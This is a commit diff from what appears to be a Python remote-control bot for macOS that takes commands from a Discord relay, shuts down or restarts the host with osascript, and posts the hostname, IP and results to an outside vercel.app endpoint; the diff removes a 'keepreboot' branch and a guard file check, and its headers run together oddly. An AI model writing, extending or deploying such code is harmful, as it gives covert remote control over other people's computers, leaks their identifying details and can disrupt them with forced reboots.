diff options
| -rw-r--r-- | .DS_Store | bin | 0 -> 6148 bytes | |||
| -rw-r--r-- | main.py | 21 |
2 files changed, 1 insertions, 20 deletions
diff --git a/.DS_Store b/.DS_Store Binary files differnew file mode 100644 index 0000000..8e5e582 --- /dev/null +++ b/.DS_Store @@ -193,7 +193,7 @@ while True: exit() elif command.startswith('syspower'): localcmd = command.split() - if localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"): + if localcmd[1<len(localcmd)]: try: if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff': if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0: @@ -265,28 +265,9 @@ while True: except KeyboardInterrupt: continue continue - open(f"{expanduser('~')}/.syspower", 'w').close() except: continue - elif localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"): - if localcmd[1] == 'keepreboot': - if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer gonna be keep rebooting, cya...```") - old_command = commandId - except: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") - except KeyboardInterrupt: - continue - continue - else: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") - except KeyboardInterrupt: - continue - continue else: remove(expanduser('~')/'.syspower') |
